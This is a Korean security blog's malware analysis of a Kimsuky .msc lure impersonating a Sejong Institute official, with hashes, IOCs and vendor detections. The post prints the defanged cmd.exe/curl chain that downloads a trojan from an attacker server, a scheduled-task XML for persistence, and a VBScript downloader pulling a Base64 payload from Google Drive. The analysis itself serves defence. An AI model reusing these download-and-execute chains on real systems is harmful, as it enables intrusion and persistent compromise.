오늘은 북한 김수키(Kimsuky) 세종연구소 한반도전략센터장을 사칭 하는 악성코드-CHEONG ??? Chang Essay FINAL.msc(2024.9.25)에 대해 글을 적어 보겠습니다. 일단 한 달 전에 확보한 샘플인데 나중에 쓸려고 사실상 내버려둬 두었던 샘플을 지금 쓰게 됩니다. 일단 해당 악성코드 세종 연구소를 타겟을 하고 있으며 세종 연구소 나는 모르겠다. 하면 1983년 12월 설립된 외교부 소관 국가정책연구재단이며 남북의 창이나 TV 뉴스 볼 때마다 본 연구소 소속 연구원 분들입니다.
아마도 세종 연구소에 계시는 한반도전략센터장 분을 이름이 있는 것 보니 한반도전략센터장이라고 이름을 도용해서 대북 관계자 분들을 노리는 방법이 아닐까 생각이 됩니다. 일단 악성코드 해시 값입니다.
파일명:?????-???+Essay+FINAL.msc
사이즈:142 KB
MD5:90a7f83dd9cf5e58044cdf56e8ed7079
SHA-1:1080b6fb2060cda252145548d1624a2fd86bd728
SHA-256:fd65c7a42458d05219cd6dad15b8ba28712a2d52e2f10a2060341aa03aedbab8
이름은 비공개 처리했습니다. 왜 한국전략센터장 분이라서….
악성코드 내부 코드
<ConsoleTaskpad ListSize="Medium" IsNo(d)eSpecific="true" ReplacesDefaultView(=)"
true" NoResults="true" DescriptionsAsText="true" NodeType="{C96401CE-0E17-11
D3-885B-00C(0)4F72C717}" ID="{656F3A6(A)-1(A)63-4FC4-9C9B-4B75AF6DF3A3}">
<String Name="Name" ID="19"/>
<String Name="Description" Value=""/>
<String Name="Tooltip" Value=""/>
<Tasks>
<Task Type="CommandLine" Command="cmd.exe">
<String Name="Name" ID="18"/>
<String Name="Description" ID="30"/>
<Symbol>
<Image Name="Small" BinaryRefIndex="6"/>
<Image Name="Large" BinaryRefIndex="7"/>
</Symbol>
<CommandLine Directory="" WindowS(t)ate="Minimized" Params="/c mod(e)
15,1&a(m)p;c(u)rl -o "(;)%temp%\(C)HEONG ?????-????+Essay+FINAL.docx&qu
ot; "hxxp://main(.)dkwis(.)kro(.)kr:8000/0918_uri_skle/dksleks?na=
view"&start explorer "%temp%\?????Seong-???/+Essay+FINAL(.)do
cx"&curl -o "%appdata%\sim" "hxxp://main(.)dkwi
s(.)kro(.)kr:8000/0918_uri_(s)kle/dksleks?na=myapp"&ren "%a
ppda(t)a%\sim" sim(.)exe&curl -o "%appdata%\sch_0918.xml&q
uot; "hxxp://main(.)dkwis(.)kro(.)kr:8000/0918_u(r)i_skle/dk
sleks?na=sch"&schtasks /create /tn TemporaryClearStatess
dfse /xml "%ap(p)data%\sch_0918.xml" /f&curl -o &qu
ot;%appdata%\sim.exe.manifest" "hxxp://main(.)dkwis(.)kro(.)kr:8000/0
918_uri_skle/d(k)sleks?na=myappfest"&exit"/>
</Task>
</Tasks>
악성코드 분석
주요 기능은 여러 파일을 외부 서버에서 다운로드
사용자 컴퓨터에서 자동으로 실행하며 스케줄러 작업까지 설정하는 등 복합적인 동작을 수행하
1.명령어를 사용한 복합 명령 실행 (cmd.exe):cmd.exe를 Minimized(최소화된 상태)로 실행하여 사용자가 명령어 창이 보이지 않도록 숨긴 채 작업이 진행
여러 번의 curl 명령으로 외부 서버(hxxp://main(.)dkwis(.)kro(.)kr:8000)에서 파일을 다운로드
2.다운로드된 파일 분석
temp% 디렉터리에 ???/G ???-?????+Essay+FINAL(.)docx 파일을 다운로드하고 자동으로 explorer로 실행
해당 작업은 사용자가 문서 파일을 여는 것으로 보이게 하여 사용자의 의심을 피하는 우회 기법
%appdata% 디렉터리에 sim 이라는 파일 을 다운로드 하고 sim.exe로 이름을 변경
해당 파일은 트로이 목마
XML 파일(sch_0918(.)xml)을 다운로드
XML 파일은 스케줄 작업 설정에 사용
3. 스케줄러 작업 생성 (지속성 유지)
schtasks /create /tn TemporaryClearStatessdfse /xml "%appdata%\sch_0918(.)xml" /f
해당 작업은 악성코드를 특정 시간마다 자동 실행하도록 설정하여 지속성(Persistence)을 확보합니다. 그냥 쉽게 윈도우 실행을 할 때마다 컴퓨터 종료할 때까지 실행
4. 추가적인 Manifest 파일 다운로드:sim.exe.manifest 라는 파일을 %appdata% 에 다운로드
Manifest 파일 은 sim.exe의 실행 환경이나 권한 설정을 조작하기 위해 사용될 수 있음
결론: 해당 악성코드는 한국어 사용자나 한국 지역, 특히 대북 관계자를 타겟으로 한 사회공학적 공격 방법을 사용
외부 서버와 통신해 추가 파일을 다운로드하고 실행하며 스케줄 작업을 생성해 지속성을 유지
해당 사이트
dksleks.html(docx)
dksleks-1.html(Microsoft Visual C++ v.14.24 - 2019 (E8) - no sec. Cab.7z.Zip)
dksleks-2.html(스케줄러 등록)
dksleks-3.html(구글 드라이브에서 파일 다운로드)
으로 구성이 되어져 있으며 해당 파일들이 어떻게 구성되어졌는지 확인을 위해서 ExeinfoPE로 확인하는 것이 제일 빠름
워드 파일 내용
[Subtitle]
By ???? ??-?
A Korean peninsula free of nuclear weapons remains a critical U.S. national security interest, but it is now a long-term interest. Because there is little possibility of disarming the regime at acceptable cost in the foreseeable future, the United States-South Korea alliance needs a strategy to coexist peacefully with a nuclear-armed North Korea.
The most common strategy is to increase the alliance’s margin of military advantage over North Korea. At best this strategy will produce a fragile stand-off marked by periodic crises, a constant risk of deterrence failure, and little progress toward the goal of a nuclear-free peninsula. At worst, attempting to escape a mutual deterrence relationship with the regime by extending the alliance’s dominance undermines stability on the peninsula. The existing approach will incentivize North Korea to continually expand and improve its nuclear arsenal, adopt command and control arrangements that increase the risk of accidental escalation, and maintain doctrine and plans that increase the risk of intentional escalation.
To reduce the risk of nuclear use, the U.S.-South Korea alliance should adopt a strategy to maintain stability rather than degrade it. Though Washington, Seoul, and Pyongyang have shown little interest in arms control, modest initiatives focused on North Korea’s tactical nuclear arsenal are the best way of moving beyond a fragile, unreliable standoff to a more stable peace.
번역
[자막]
핵무기가 없는 한반도는 여전히 미국의 중요한 국가 안보 이익이지만, 이제는 장기적 이익입니다. 가까운 미래에 수용 가능한 비용으로 정권을 무장 해제할 가능성이 거의 없기 때문에, 미-한 동맹은 핵무장이 된 북한과 평화롭게 공존할 전략이 필요합니다.
가장 일반적인 전략은 북한에 대한 동맹의 군사적 우위를 늘리는 것입니다. 이 전략은 기껏해야 주기적 위기, 억제 실패의 끊임없는 위험, 핵무기가 없는 한반도라는 목표에 대한 진전이 거의 없는 취약한 대치 상황을 초래할 것입니다. 최악의 경우, 동맹의 지배력을 확대하여 정권과의 상호 억제 관계에서 벗어나려고 시도하면 한반도의 안정이 훼손됩니다. 기존 접근 방식은 북한이 핵무기를 지속적으로 확장하고 개선하고, 우발적 긴장 고조의 위험을 증가시키는 지휘 통제 조치를 채택하고, 의도적 긴장 고조의 위험을 증가시키는 교리와 계획을 유지하도록 유도할 것입니다.
핵 사용의 위험을 줄이기 위해 미-한 동맹은 안정성을 저하시키는 것이 아니라 유지하는 전략을 채택해야 합니다. 워싱턴, 서울, 평양은 군비 통제에 거의 관심을 보이지 않았지만, 북한의 전술적 핵무기에 초점을 맞춘 겸손한 이니셔티브는 취약하고 신뢰할 수 없는 대치에서 벗어나 더욱 안정적인 평화로 나아가는 가장 좋은 방법입니다.
dksleks-2.html 코드
<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="hxxp://schemas(.)microsoft(.)com/windows/2004/02/mit/task">
<RegistrationInfo>
<URI>\TemporaryStatescleanerjsg</URI>
</RegistrationInfo>
<Triggers>
<TimeTr(i)gger>
<Repetit(i)on>
<Interval>PT(5)9M</Interval>
<StopA(t)DurationEnd>(f)alse</StopAtDurationEnd>
</Repet(i)tion>
<StartBou(n)dary>202(4)-08-26T15:17:00</StartBoundary>
<Enabled>true</Enabled>
</TimeTrigger>
</Trigg(e)rs>
<Principals>
<Principal id="Auth(o)r">
<LogonType>Inter(a)ctiveToken</LogonType>
<RunLevel>LeastPr(i)vilege</RunLevel>
</Principal>
</Principals>
<Settings>
<MultipleInstancesPoli(c)y>IgnoreNew</MultipleInstancesPolicy>
<DisallowStartIfOnBatteri(e)s>false</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>fals(e0</StopIfGoingOnBatteries>
<AllowHard(T)erminate>true</AllowHardTerminate>
<StartWhenAva(i)lable>false</StartWhenAvailable>
<RunOnlyIfNetwo(r)kAvailable>true</RunOnlyIfNetworkAvailable>
<IdleSetti(n)gs>
<StopOnIdl(e)End>true</StopOnIdleEnd>
<RestartOnIdl(e)>false</RestartOnIdle>
</IdleSett(i)ngs>
<AllowStartOn(D)emand>true</AllowStartOnDemand>
<Enabled>true</E(n)abled>
<Hidden>false</Hid(d)en>
<RunOnlyIfIdle>false</(R)unOnlyIfIdle>
<WakeToRun>false</Wake(T)oRun>
<ExecutionTimeLimit>PT7(2)H</ExecutionTimeLimit>
<Priority>7</Priority>
</Settings>
<Actions Context="Author">
<Exec>
<Command>"%appdata%\sim(.)exe"</Command>
</Exec>
</Actions>
</Task>
html 분석
Windows 작업 스케줄러(Task Scheduler) 를 통해 지속성을 확보하고 악성코드를 자동 실행하도록 설정된 일정 작업을 정의
1.작업명 및 등록 정보*
작업 이름:TemporaryStatescleanerjsg
정상적인 유지 보수 작업처럼 보이도록 의도적으로 위장된 이름
2. 트리거 설정 (Trigger)
59분 간격(PT59M):해당 작업은 59분마다 반복적으로 실행
시작 시간: 2024년 8월 26일 15시 17분부터 시작
Repetition 설정:작업이 중단되지 않도록 설정 매 실행 간격 동안 종료되지 않아도 작업이 반복
3.보안 구성 (Principals)
로그온 유형:InteractiveToken
사용자가 로그인된 상태에서 실행
실행 수준:LeastPrivilege
작업이 최소 권한으로 실행되도록 설정
탐지를 회피하거나 관리자 권한이 필요 없는 작업인 척 위장하는 의도
4. 설정 (Settings)
네트워크 의존성:
해당 작업은 네트워크가 연결된 경우에만 실행되도록 설정
원격 서버와 통신이 필요한 악성코드의 특성을 암시
작업 우선순위: 7
비교적 낮은 우선순위를 부여해 시스템에 부담을 주지 않고 실행
실행 시간제한: PT72H
각 작업이 최대 72시간 동안 실행될 수 있도록 허용 해당 작업이 실패하더라도 장기간에 걸쳐 실행될 가능성이 있음을 의미
5. 실행 파일:
%appdata%\sim.exe 파일이 실행
해당 작업의 주요 목적은 sim.exe 주기적으로 실행 하여 악성코드가 지속적으로 시스템에서 활동하도록 만드는 것
dksleks-3.html(구글 드라이브 연결)
해당 파일을 그냥 열어 보면 빈 화면이나 해당 부분을 웹소스로 보면 Base64로 되어져 있는 것을 확인을 할수가 있습니다.
Base64 디코딩 결과
<scrXpt>On Err(o)r Res(u)me Next(:)Function Base6(4)Decode(By
Val vCode):Dim oX(M)L, oNode:Set oX?L = CreateO(b)ject("Msxml
2(.)DOMDocum(e)n(t).3.0"):S?et oNode = oXML.Cre(a)teEle?ment
("base64"):oNode(.)dataType = "bin.base64":oNode.text = vCode
:B(a)se64Decode = Stream_B?inaryToString(oNode.nodeType??Valu
e):Set oNode = Nothing:Set oXML = Nothing:End Function:Funct
ion Stream_Bina(r)yToStr?ing(Binary):Const adTypeText = 2:C?
?st adTy(p)eBinary = 1:(D)im BinaryStream:Set BinaryStream =
CreateObject("A(D)ODB.Stream"):Bin?ar(y)Stream.Type = adTy?e
Bina(r)y:B????yStream.O(p)en:BinaryStream.Write Binary:Binary
Stream.Position = 0:Bnary(S)tream.Type = a?dTypeText:BinaryS(t
)ream.CharSet = "Windows(-)1252":Stream_BinaryToString = Binar
yStream.ReadText:Set BinaryS(t)ream = Not(h)ing:End F?unction:D
im t0:Set ws = CreateOject("WScript(.)Sh?ll"):Set fs = CreateOb
ject("Scr?pting.FileSystemObject"):Set Post0 = CreateObject("ms
?xml2(.)xmlhttp"):Set asdf = CreateObject("Scriptin(g).FileSyst
(e)mO(b)ject"):t0="":gpath = ws.ExpandEnvironment(S)tr?ings("%a
ppdata%") (+) "\Microsoft\?im.sid":bpath = (w)s.E(x)pandEnviron
mentStrings("%appdata%") (+) "\Microsoft\sif(.)bat":If fs.FileE
(x)ists(gp(a)th) Then:Set f = fs.Get(F)ile(gpath):If f.?ize <
; 9 Then:fs.del?etefile(gpath):wscript.Quit:End If:re=fs.movefi
le(gpath,bpath):re=ws.run(bpath,0,true):fs.delete?file(bpath):E
lse:Post0.?????"GET", "hxxps://drive(.)google(.)com/file/d(/)1q
6hKvdsrJETLH(M)WgEHum2m???5KHVXKE2V/view?usp=sh?aring"(,)False:
Post0.se(t)Reque(s)tHeader "Content-Type", "application/x-www-f
o(r)m-urlencoded":Post0.Send:t0=P(o)st0.responseText:z="si?star
t--":x="(-)-simend":???w=Instr(t0,z()):u=Instr(t0,x):If w<(&
)gt;0 And u<>0 T(h)en:t0=Mid(t0,w+Len(z),u-w-Len(z)):t0=
Replace(t0,"^&(a)mp;amp;","^&"):t0=
코드 분석
VBS(Visual Basic Script) 사용하여 원격 서버와 통신
Base64로 인코딩된 악성 페이로드를 디코딩하고 시스템에 악성 파일을 생성 및 실행하는 악성코드
1.Base64 디코딩 기능
해당 함수는 Base64로 인코딩된 데이터를 디코딩
외부 서버로부터 받은 인코딩된 페이로드를 실행 가능한 형태로 복원하기 위해 사용
2. 바이너리 스트림 처리 (Stream_BinaryToString)
함수는 바이너리 데이터를 문자열로 변환
악성 페이로드가 인코딩된 형태로 전달되기 때문에 이를 복원하여 실행 가능한 파일로 만듬
3.스크립트는 Google Drive 링크에 연결해 원격 서버로부터 파일 다운로드 유도
원격 서버와의 통신에 msxml2(.)xmlhttp 객체를 사용하여 HTTP 요청을 수행
4. 페이로드 처리 및 실행
악성 페이로드는 %appdata%\Microsoft\sim(.)sid 경로에 저장
파일의 크기가 9바이트보다 작으면 삭제하고 그렇지 않으면. bat 파일로 변환해 실행
5.Base64 페이로드 파싱 및 실행
Base64로 인코딩된 페이로드는 simstart--와 --simend태그 사이에서 추출
추출된 페이로드는 여러 HTML 엔티티 정규화하고,Base64Decode 함수를 사용해 디코딩
디코딩된 페이로드는 %appdata% 경로에 저장되고 실행됩니다.
2. 악성코드 동작 요약
1. VBS 스크립트 실행:
VBS 스크립트가 실행되며 Google Drive에서 악성 페이로드를 다운로드
2.페이로드 저장 및 처리:
다운로드한 Base64 인코딩된 데이터를 디코딩하여 %appdata%\Microsoft\sim(.)sid 에 저장
3.실행 조건 검증:
만약 저장된 파일이 9바이트 미만이면 삭제합 그렇지 않으면 파일을 .bat 로 변환하고 실행
4. 지속성 및 반복 실행:
해당 스크립트는 반복적으로 실행되어 페이로드를 주기적으로 활성화하고 악성 행위를 지속
악성코드 사이트
hxxp://main.dkwis.kro[.]kr:8000/0918_uri_skle/dksleks?na=myapp
hxxp://main.dkwis.kro[.]kr:8000/0918_uri_skle/dksleks?na=myappfest
hxxp://121.66.72[.]110/0918_uri_skle/dksdlf?na=comline
2024-10-29 04:41:26 UTC 기준 탐지되는 보안 업체들은 다음과 같습니다.
AhnLab-V3:Downloader/XML.Kimsuky.S2867
AliCloud:Trojan[downloader]:Unknow/KimSuky.AO8PHU
ALYac:Trojan.Downloader.Agent.XML
Arcabit:Dump:Generic.MSC.Kimsuky.A.FFFFFFFE
Avast:Other:Malware-gen [Trj]
AVG:Other:Malware-gen [Trj]
BitDefender:Dump:Generic.MSC.Kimsuky.A.FFFFFFFE
CTX:Xml.trojan.kimsuky
Emsisoft:Dump:Generic.MSC.Kimsuky.A.FFFFFFFE (B)
eScan:Dump:Generic.MSC.Kimsuky.A.FFFFFFFE
ESET-NOD32:XML/TrojanDownloader.Agent.T
GData:Dump:Generic.MSC.Kimsuky.A.FFFFFFFE
Google:Detected
Ikarus:Trojan-Downloader.XML.Agent
Lionic:Trojan.Script.Kimsuky.4!c
Microsoft:Trojan:XML/KimSuky.AZ!MTB
QuickHeal:Xml.Trojan.A12939606
Sophos:Mal/XMLDwn-DZ
Symantec:Trojan.Gen.NPE
Tencent:Win32.Trojan-Downloader.Der.Agow
Trellix (HX):Dump:Generic.MSC.Kimsuky.A.FFFFFFFE
Varist:ABApplication.KTL
VIPRE:Dump:Generic.MSC.Kimsuky.A.FFFFFFFE
VirIT:Trojan.MSC.Heur.A
ViRobot:Downloader.S.MSC.145870
이렇게 오늘도 같은 민족인데 한국의 주적인 북한 해킹 단체 Kimsuky(김수키)에서 만든 악성코드에 대해 글을 적어보았습니다.
'소프트웨어 팁 > 보안 및 분석' 카테고리의 다른 글
삼성 엑시노스(9820,9825,980,990,850,W920) use-after-free CVE-2024-44068 취약점 (2) | 2024.10.25 |
---|---|
텔레그램 사용자 정책 위반 사칭 피싱 사이트-telegram-df(.)org(2024.10.22) (0) | 2024.10.24 |
한국해양대학교를 노린 Kimsuky(김수키)에서 만든 악성코드-2019년 졸업자 취업통계조사 붙임.chm(2024.7.8) (0) | 2024.10.23 |
한국인을 상대로 하는 안드로이드 악성코드-pnx01.apk(2024.9.23) (0) | 2024.10.22 |
Microsoft Edge 130(마이크로소프트 엣지 130)보안 업데이트 및 기능 업데이트 (0) | 2024.10.21 |
파이어폭스 131.0.3 보안 업데이트 (0) | 2024.10.18 |
한국 관광을 핑계로 러시아 인들을 타겟을 하고 추정 되는 김수키(Kimsuky)만든 악성코드-241007.lnk(2024.10.14) (0) | 2024.10.17 |
김수키(Kimsuky) 코인 선물 트레이딩으로 위장 하고 있는 악성코드-코인 선물 트레이딩 비법서, 수익률 증폭의 핵심 원리.pdf.lnk(2024.10.14) (0) | 2024.10.14 |